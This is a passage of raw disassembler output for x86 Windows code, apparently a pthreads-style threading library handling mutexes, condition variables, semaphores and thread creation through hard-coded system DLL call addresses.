loc_42F3E9:				; CODE XREF: ___:0042F2CFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F460:				; DATA XREF: ___:0042F390o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F480	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3DC
		push	esi
		push	eax
		call	sub_401190
sub_42F480	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F4BE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F4AC
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F4AC
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F4AC:				; CODE XREF: ___:0042F49Bj
					; ___:0042F4A1j
		mov	edx, [esi+8]
		mov	eax, dword_50E3DC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F4BE:				; CODE XREF: ___:0042F493j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F4F0	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3DC
		push	edx
		call	sub_401190
sub_42F4F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3DC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F540	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F574
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F574:				; CODE XREF: sub_42F540+17j
		test	eax, eax
		jnz	short loc_42F57D
		mov	esi, 16h


loc_42F57D:				; CODE XREF: sub_42F540+36j
		push	offset dword_50E920
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_42F540	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5B0:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F5D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F5D3:				; CODE XREF: ___:0042F5C2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5F0:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F613
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F613
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: ___:0042F5F7j
					; ___:0042F5FDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F630:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F64D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F64D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F64D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F64D:				; CODE XREF: ___:0042F636j
					; ___:0042F63Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F670:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F69A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F69A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F68E
		test	eax, eax
		jnz	short loc_42F69A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F68E:				; CODE XREF: ___:0042F685j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F69A:				; CODE XREF: ___:0042F676j
					; ___:0042F67Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6B0	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F6C6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6C6:				; CODE XREF: sub_42F6B0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F6ED
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F6ED
		cmp	dword ptr [eax], 1
		jnz	short loc_42F6ED
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: sub_42F6B0+1Ej
					; sub_42F6B0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F712
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F712:				; CODE XREF: sub_42F6B0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F737
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F77B
; ---------------------------------------------------------------------------


loc_42F737:				; CODE XREF: sub_42F6B0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F755
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		jmp	short loc_42F772
; ---------------------------------------------------------------------------


loc_42F755:				; CODE XREF: sub_42F6B0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F7DF
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F772:				; CODE XREF: sub_42F6B0+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F77B:				; CODE XREF: sub_42F6B0+85j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F7D2


loc_42F78B:				; CODE XREF: sub_42F6B0+131j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3E4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3E4
		test	eax, eax
		jz	short loc_42F7B2
		mov	[eax+18h], esi


loc_42F7B2:				; CODE XREF: sub_42F6B0+FDj
		mov	eax, dword_50E3E0
		mov	dword_50E3E4, esi
		test	eax, eax
		jnz	short loc_42F7C7
		mov	dword_50E3E0, esi


loc_42F7C7:				; CODE XREF: sub_42F6B0+10Fj
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop


loc_42F7D2:				; CODE XREF: sub_42F6B0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7DF:				; CODE XREF: sub_42F6B0+B7j
		xor	edi, edi
		jmp	short loc_42F78B
sub_42F6B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F840	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42F9EC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42F9EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_42F9A3
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F899
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F899:				; CODE XREF: sub_42F840+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F8C0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F8C0:				; CODE XREF: sub_42F840+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F8F9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F8E2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F8E2:				; CODE XREF: sub_42F840+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42F98E
; ---------------------------------------------------------------------------


loc_42F8F9:				; CODE XREF: sub_42F840+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F91A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F91A:				; CODE XREF: sub_42F840+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F932
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F932:				; CODE XREF: sub_42F840+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F94C
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F94C:				; CODE XREF: sub_42F840+FFj
		cmp	dword_50E3E0, esi
		jnz	short loc_42F95F
		mov	edx, [esi+18h]
		mov	dword_50E3E0, edx
		jmp	short loc_42F968
; ---------------------------------------------------------------------------


loc_42F95F:				; CODE XREF: sub_42F840+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42F968:				; CODE XREF: sub_42F840+11Dj
		cmp	dword_50E3E4, esi
		jnz	short loc_42F97B
		mov	edx, [esi+1Ch]
		mov	dword_50E3E4, edx
		jmp	short loc_42F984
; ---------------------------------------------------------------------------


loc_42F97B:				; CODE XREF: sub_42F840+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42F984:				; CODE XREF: sub_42F840+139j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_42F98E:				; CODE XREF: sub_42F840+B4j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42F9D2
; ---------------------------------------------------------------------------


loc_42F9A3:				; CODE XREF: sub_42F840+28j
		push	offset dword_50E920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42F9BB
		mov	dword ptr [edi], 0
		jmp	short loc_42F9C7
; ---------------------------------------------------------------------------


loc_42F9BB:				; CODE XREF: sub_42F840+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42F9C7:				; CODE XREF: sub_42F840+179j
		push	offset dword_50E920
		nop
		call	near ptr 7C9010EDh


loc_42F9D2:				; CODE XREF: sub_42F840+161j
		test	esi, esi
		jz	short loc_42F9DE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9DE:				; CODE XREF: sub_42F840+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42F9F1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F9EC:				; CODE XREF: sub_42F840+15j
					; sub_42F840+1Fj
		mov	eax, 16h


loc_42F9F1:				; CODE XREF: sub_42F840+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F840	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FA70	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FA70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FAA0	proc near		; CODE XREF: sub_42FA70+Cp
					; sub_42FD70+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FBA9
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FBA9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FAE2
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FAE2
		cmp	eax, 10h
		jnz	loc_42FBAE


loc_42FAE2:				; CODE XREF: sub_42FAA0+26j
					; sub_42FAA0+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB02
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB02:				; CODE XREF: sub_42FAA0+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FB22
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FB22:				; CODE XREF: sub_42FAA0+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FC10
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 7EF73FE8h
		dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FBA9:				; CODE XREF: sub_42FAA0+13j
					; sub_42FAA0+1Dj
		mov	eax, 16h


loc_42FBAE:				; CODE XREF: sub_42FAA0+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FAA0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FC10:				; DATA XREF: sub_42FAA0+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC3B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC3B:				; CODE XREF: ___:0042FC31j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FC4E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FCB7
; ---------------------------------------------------------------------------


loc_42FC4E:				; CODE XREF: ___:0042FC44j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FCB7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FC82
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FC82:				; CODE XREF: ___:0042FC6Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCAC
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCAC:				; CODE XREF: ___:0042FC96j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FCB7:				; CODE XREF: ___:0042FC4Cj
					; ___:0042FC5Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCD0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCD0:				; CODE XREF: ___:0042FCC2j
		cmp	ebx, 1
		jnz	short loc_42FCF9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCF9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCF9:				; CODE XREF: ___:0042FCD3j
					; ___:0042FCE3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD0F
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FD0F:				; CODE XREF: ___:0042FD07j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD70	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FD7E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FD7E:				; CODE XREF: sub_42FD70+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42FAA0
		add	esp, 0Ch
		retn
sub_42FD70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDB0	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FDB0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FDD0	proc near		; CODE XREF: sub_42FDB0+7p
					; sub_42FF30+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FED4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FED4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FDF4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FDF4:				; CODE XREF: sub_42FDD0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FED9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FE44
		test	eax, eax
		jnz	short loc_42FE22


loc_42FE15:				; CODE XREF: sub_42FDD0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE22:				; CODE XREF: sub_42FDD0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FE39
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE39:				; CODE XREF: sub_42FDD0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FEA3
; ---------------------------------------------------------------------------


loc_42FE44:				; CODE XREF: sub_42FDD0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FE15
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE70
		call	near ptr 77C1F2BCh
		nop
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE70:				; CODE XREF: sub_42FDD0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FE84
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FE84:				; CODE XREF: sub_42FDD0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FE99
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FEA6
; ---------------------------------------------------------------------------


loc_42FE99:				; CODE XREF: sub_42FDD0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FEA3:				; CODE XREF: sub_42FDD0+72j
		dec	eax
		mov	[esi], eax


loc_42FEA6:				; CODE XREF: sub_42FDD0+67j
					; sub_42FDD0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FECE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FECE
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_42FECE:				; CODE XREF: sub_42FDD0+E3j
					; sub_42FDD0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FED4:				; CODE XREF: sub_42FDD0+9j
					; sub_42FDD0+13j
		mov	eax, 16h


loc_42FED9:				; CODE XREF: sub_42FDD0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FDD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF30	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FDD0
		add	esp, 8
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FF50	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
		mov	esi, eax
		test	esi, esi
		jz	loc_430026
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_430026
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42FFCE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42FFCE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42FFD0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42FFD0
; ---------------------------------------------------------------------------


loc_42FFCE:				; CODE XREF: sub_42FF50+4Dj
					; sub_42FF50+54j
		xor	edi, edi


loc_42FFD0:				; CODE XREF: sub_42FF50+6Ej
					; sub_42FF50+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401B95
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	near ptr 77C3A3DBh
		nop
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_430019
		test	ebp, ebp
		jz	short loc_430012
		cmp	dword ptr [ebp+0], 0
		jz	short loc_430012
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch


loc_430012:				; CODE XREF: sub_42FF50+AAj
					; sub_42FF50+B0j
		push	edi
		nop
		call	near ptr 2760000h


loc_430019:				; CODE XREF: sub_42FF50+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_430059


loc_430026:				; CODE XREF: sub_42FF50+14j
					; sub_42FF50+30j
		push	esi
		call	sub_4017AD
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43004C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43004C:				; CODE XREF: sub_42FF50+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430059:				; CODE XREF: sub_42FF50+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
